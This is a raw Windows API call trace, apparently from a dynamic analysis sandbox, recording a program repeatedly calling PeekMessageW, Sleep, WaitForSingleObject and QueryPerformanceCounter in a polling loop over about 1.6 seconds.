[0124.933] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0124.934] Sleep (dwMilliseconds=0x64) [0125.040] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.040] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=690867991) returned 1 [0125.040] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=690868106) returned 1 [0125.040] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.041] Sleep (dwMilliseconds=0x64) [0125.150] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.150] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=691243346) returned 1 [0125.150] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=691243519) returned 1 [0125.150] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.151] Sleep (dwMilliseconds=0x64) [0125.258] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=691613937) returned 1 [0125.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=691614115) returned 1 [0125.259] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.259] Sleep (dwMilliseconds=0x64) [0125.532] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.532] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=692548725) returned 1 [0125.532] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=692548813) returned 1 [0125.533] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.533] Sleep (dwMilliseconds=0x64) [0125.634] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=692897140) returned 1 [0125.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=692897272) returned 1 [0125.635] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.635] Sleep (dwMilliseconds=0x64) [0125.742] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.742] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=693266331) returned 1 [0125.742] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=693266441) returned 1 [0125.742] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.742] Sleep (dwMilliseconds=0x64) [0125.851] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.851] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=693640843) returned 1 [0125.851] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=693641033) returned 1 [0125.853] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.853] Sleep (dwMilliseconds=0x64) [0125.866] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.866] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=693692681) returned 1 [0125.866] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=693692865) returned 1 [0125.867] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.867] Sleep (dwMilliseconds=0x64) [0125.883] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.883] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=693748961) returned 1 [0125.883] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=693749119) returned 1 [0125.883] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.884] Sleep (dwMilliseconds=0x64) [0125.898] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=693800025) returned 1 [0125.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=693800162) returned 1 [0125.898] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.899] Sleep (dwMilliseconds=0x64) [0125.938] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.938] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=693937135) returned 1 [0125.938] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=693937300) returned 1 [0125.938] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.939] Sleep (dwMilliseconds=0x64) [0125.944] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=693958763) returned 1 [0125.944] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=693958920) returned 1 [0125.945] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.945] Sleep (dwMilliseconds=0x64) [0125.960] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.960] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694013276) returned 1 [0125.960] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694013460) returned 1 [0125.961] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.961] Sleep (dwMilliseconds=0x64) [0125.976] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694066823) returned 1 [0125.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694066978) returned 1 [0125.976] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.977] Sleep (dwMilliseconds=0x64) [0125.991] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0125.991] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694119028) returned 1 [0125.991] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694119184) returned 1 [0125.992] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0125.992] Sleep (dwMilliseconds=0x64) [0126.007] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.007] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694173382) returned 1 [0126.007] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694173540) returned 1 [0126.008] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.009] Sleep (dwMilliseconds=0x64) [0126.022] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.022] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694225563) returned 1 [0126.022] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694225743) returned 1 [0126.023] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.023] Sleep (dwMilliseconds=0x64) [0126.038] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694278934) returned 1 [0126.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694279095) returned 1 [0126.038] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.039] Sleep (dwMilliseconds=0x64) [0126.053] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694332468) returned 1 [0126.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694332635) returned 1 [0126.054] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.067] Sleep (dwMilliseconds=0x64) [0126.069] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.069] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694385537) returned 1 [0126.069] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694385716) returned 1 [0126.070] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.070] Sleep (dwMilliseconds=0x64) [0126.090] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.090] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694457741) returned 1 [0126.090] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694457928) returned 1 [0126.091] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.091] Sleep (dwMilliseconds=0x64) [0126.100] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.100] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694492203) returned 1 [0126.100] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694492385) returned 1 [0126.101] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.101] Sleep (dwMilliseconds=0x64) [0126.116] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.116] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694546930) returned 1 [0126.116] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694547116) returned 1 [0126.117] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.117] Sleep (dwMilliseconds=0x64) [0126.131] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.132] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694598850) returned 1 [0126.132] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694599087) returned 1 [0126.132] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.133] Sleep (dwMilliseconds=0x64) [0126.147] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.147] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694652147) returned 1 [0126.147] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694652333) returned 1 [0126.148] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.148] Sleep (dwMilliseconds=0x64) [0126.163] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694705508) returned 1 [0126.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694705708) returned 1 [0126.163] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.164] Sleep (dwMilliseconds=0x64) [0126.179] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.179] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694761506) returned 1 [0126.179] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694761689) returned 1 [0126.180] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.180] Sleep (dwMilliseconds=0x64) [0126.199] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.199] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694828339) returned 1 [0126.199] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694828498) returned 1 [0126.199] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.200] Sleep (dwMilliseconds=0x64) [0126.209] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.210] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694865491) returned 1 [0126.210] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694865702) returned 1 [0126.210] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.211] Sleep (dwMilliseconds=0x64) [0126.230] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.230] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694936261) returned 1 [0126.230] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694936449) returned 1 [0126.231] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.231] Sleep (dwMilliseconds=0x64) [0126.241] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.241] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=694973177) returned 1 [0126.241] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=694973374) returned 1 [0126.242] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.242] Sleep (dwMilliseconds=0x64) [0126.256] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695025395) returned 1 [0126.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695025591) returned 1 [0126.257] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.257] Sleep (dwMilliseconds=0x64) [0126.272] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695078763) returned 1 [0126.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695078955) returned 1 [0126.273] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.273] Sleep (dwMilliseconds=0x64) [0126.288] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.288] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695134399) returned 1 [0126.288] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695134597) returned 1 [0126.289] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.289] Sleep (dwMilliseconds=0x64) [0126.303] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.303] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695185693) returned 1 [0126.303] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695185928) returned 1 [0126.304] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.304] Sleep (dwMilliseconds=0x64) [0126.319] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.319] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695238715) returned 1 [0126.319] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695238899) returned 1 [0126.319] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.320] Sleep (dwMilliseconds=0x64) [0126.334] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.334] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695292051) returned 1 [0126.334] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695292235) returned 1 [0126.335] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.335] Sleep (dwMilliseconds=0x64) [0126.373] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.373] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695424738) returned 1 [0126.373] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695424931) returned 1 [0126.375] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.375] Sleep (dwMilliseconds=0x64) [0126.382] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.384] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695462653) returned 1 [0126.384] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695462822) returned 1 [0126.385] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.385] Sleep (dwMilliseconds=0x64) [0126.397] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.397] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695507215) returned 1 [0126.397] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695507372) returned 1 [0126.398] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.398] Sleep (dwMilliseconds=0x64) [0126.415] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.415] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695569376) returned 1 [0126.416] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695569525) returned 1 [0126.416] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.417] Sleep (dwMilliseconds=0x64) [0126.428] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.428] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695612242) returned 1 [0126.428] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695612442) returned 1 [0126.429] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.429] Sleep (dwMilliseconds=0x64) [0126.443] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.444] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695665297) returned 1 [0126.444] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695665497) returned 1 [0126.444] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.445] Sleep (dwMilliseconds=0x64) [0126.459] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695718451) returned 1 [0126.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695718637) returned 1 [0126.460] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.460] Sleep (dwMilliseconds=0x64) [0126.492] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695830963) returned 1 [0126.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695831119) returned 1 [0126.493] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.493] Sleep (dwMilliseconds=0x64) [0126.506] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.506] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695880235) returned 1 [0126.506] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695880392) returned 1 [0126.507] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.507] Sleep (dwMilliseconds=0x64) [0126.521] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.522] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695931870) returned 1 [0126.522] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695932070) returned 1 [0126.522] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.523] Sleep (dwMilliseconds=0x64) [0126.537] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.537] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=695985143) returned 1 [0126.537] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=695985300) returned 1 [0126.538] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.538] Sleep (dwMilliseconds=0x64) [0126.553] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.553] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696038608) returned 1 [0126.553] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696038765) returned 1 [0126.553] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0126.554] Sleep (dwMilliseconds=0x64) [0126.568] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0126.568] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=696091582) returned 1 [0126.568] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=696091739) returned 1 